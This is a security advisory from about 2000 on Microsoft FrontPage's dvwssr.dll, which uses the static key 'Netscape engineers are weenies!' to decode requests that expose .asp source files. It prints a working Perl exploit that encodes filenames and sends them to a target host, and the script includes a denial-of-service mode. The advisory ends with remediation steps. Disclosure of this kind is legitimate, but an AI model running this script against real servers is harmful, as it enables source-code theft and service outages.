COMMAND
Front Page
SYSTEMS AFFECTED
Microsoft FrontPage extensions/authoring components
PROBLEM
'rain forest puppy' (RFP) found following. The NT 4 Option Pack
ships with a particular ISAPI .dll in /_vti_bin/_vti_aut/ named
dvwssr.dll, which is mixed in with the Microsoft FrontPage
extensions (the version I have is 3.0.2.1105). This particular
.dll allows you to read .asp (and .asa) files under the web root,
providing you know the 'password' (obfuscated encoding scheme) of
which to ask it. And, as implied by the title, the constant key
used in the encoding is "Netscape engineers are weenies!".
RFP's been told that dvwssr.dll is a component of the NT 4 Option
Pack, to be used with InterDev 1.0. Therefore deleting it will
affect InterDev 1.0's 'View Links' function. Also, the default
permissions don't allow for anonymous users to use the
.dll--however, anyone with web authoring can, and he's seen few
sites that have allowed permission (which is more due to a
misconfiguration on their part). As Microsoft said, the
immediate problem is moreso the fact that any developer of one
particular virtual site can download the .asp code of other
virtual sites on the same system.
In the fairly recent light of Mr. Cuartango's finding of a
backdoor in the authentication of Microsoft installation packages,
Microsoft stated to Bugtraq that the automatic acceptance of
Microsoft packages is to "improve our customers' experience while
downloading software from Microsoft web sites."
Well, so let us relate how Microsoft has included an ISAPI .dll as
part of the FrontPage extension package/Option Pack/Visual
Interdev, to "improve a hacker's experience while downloading
software from your web site".
FRP was contacted by Alf Serer, who indicated to RFP that
dvwssr.dll looked like it was a backdoor, and that it contained
the string 'Netscape engineers are weenies!'(although, it's found
backwards in the .dll). Being the curious pup that he is, he
decided to take a look. Using some prior research code attempts
at cracking the encoding algorithm (herein referred to as the
'weenie algorithm'), RFP used a test ISAPI app Alf sent to figure
out what the hell this thing was for, and what it is supposed to
do. Searches on Microsoft's site said it was to 'verify URLs'.
However, he could not find any references to it elsewhere, and
even decompilation of the various FrontPage extension
applications, FrontPage clients, and Interdev clients yeilded no
calls or references to dvwssr.dll that he could see; however, he
was later told that Interdev 1.0 requies this .dll. Microsoft's
site had dvwssr.dll down on the manifest for various FrontPage
packages/installations.
So, taking a peek at the .dll versions, we see that the other
ISAPI .dlls that make up the core of FrontPage extensions are of
version 3.0.2.1105, while dvwssr.dll is only 1.00.00.2503A. We
would think that to mean it was recently introduced into the pack
by Microsoft (if you don't know, FrontPage was an original program
developed by Vemeer Technologies Inc; hence the _vti_ prefixes).
Granted, maybe it's possible that Vemeer engineers coded
dvwssr.dll; but that means, upon acquisition, MS engineers left it
in there. You would think some sort of Q&A and/or audit would
catch it if it already existed...
We are not going to get into the exact details of the weenie
encoding algorithm--after all, you have the code below. It's
basically a 62 character slide-rule type of encoding.
Luckily, from RFP's auditing, this is not included with any other
versions of FrontPage (including Unix), and in the versions he
found it on, ACLs prevented its use (only System and
Administrators were allowed full access); he was told by MS that
only individuals with web authoring permission can use it, which
is more than he had originally thought. But it's not as
widespread as, say, RDS.
Regardless of it's actual purpose, or Microsoft's intent, we think
the core interesting issue is that Microsoft literally coded (or
allowed) a .dll who used a static key such as 'Netscape engineers
are weenies!'.
The code:
#!/usr/bin/perl
# dvwssr.pl DEMONSTRATION by rain forest puppy
#
# rfp@wiretrip.net / www.wiretrip.net/rfp/
#
# usage: ./dvwssr.pl <target host> <file to request>
#
# example: ./dvwssr.pl localhost /default.asp
use Socket;
$ip=$ARGV[0];
$file=$ARGV[1];
print "Encoding to: ".encodefilename($file)."\n";
$DoS=0; # change to 1 to run the denial of service code
if($DoS==0){ # regular request
$url="GET /_vti_bin/_vti_aut/dvwssr.dll?".encodefilename($file).
" HTTP/1.0\n\n";
print sendraw($url);
} else {# denial of service - this is crud that I used to make it
# crash on accident. The code was for testing something
# else. I provide it as-is so you can reproduce exactly
# what I was doing.
for($x=206;$x>0;$x--){
$B='A'x $x;
$file="/$B/..".$file; print "$x ";
$url="GET /_vti_bin/_vti_aut/dvwssr.dll?".encodefilename($file).
" HTTP/1.0\n\n";
print sendraw($url);
}
# another DoS in the script; uncomment if you're a DoS kiddie.
# $B='A'x 10000;
# $file="/$B/../die.asp";
# $url="GET /_vti_bin/_vti_aut/dvwssr.dll?".encodefilename($file).
# " HTTP/1.0\n\n";
# print sendraw($url);
}
sub encodefilename {
my $from=shift;
my
$slide="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
my $key="Netscape engineers are weenies!";
my $kc=length($from)%31; # this was fixed to include the '%31'
my ($fv,$kv,$tmp,$to,$lett);
@letts=split(//,$from);
foreach $lett (@letts){
$fv=index $slide, $lett;
$fv=index $slide, (substr $slide,62-$fv,1) if($fv>=0);
$kv=index $slide, substr $key, $kc, 1;
if($kv>=0 && $fv>=0){
$tmp= $kv - $fv;
if($tmp <0){$tmp +=62;}
$to.=substr $slide, $tmp,1; } else {
$to.=$lett;}
if(++$kc >= length($key)){ $kc=0;}
}return $to;}
sub sendraw {
my ($pstr)=@_;
my $target;
$target= inet_aton($ip) || die("inet_aton problems");
socket(S,2,1,getprotobyname('tcp')||0) || die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,80,$target)){
select(S); $|=1;
print $pstr; my @in=<S>;
select(STDOUT); close(S);
return @in;
} else { die("Can't connect...\n"); }}
The text string appears in two (2) .dlls. dvwssr.dll as mentioned
before, and as Stewart Nolan pointed out:
\Program Files\Common Files\Microsoft Shared\MSDesigners98\mtd2lv.dll
This file is the client-side component of Visual Interdev, and it
contains the string because the client would obfuscate the
requesting page with it, send it across the wire to the server,
and then dvwssr.dll would de-obfuscate with the same string.
SOLUTION
It is recommended that you take the following actions:
1. Delete dvwssr.dll, imagemap.exe, and htimage.exe now.
2. Install SR1.1 when it becomes available, targeted for April 28, 2000
3. Install SR1.2 when it becomes available, targeted for mid-May 2000.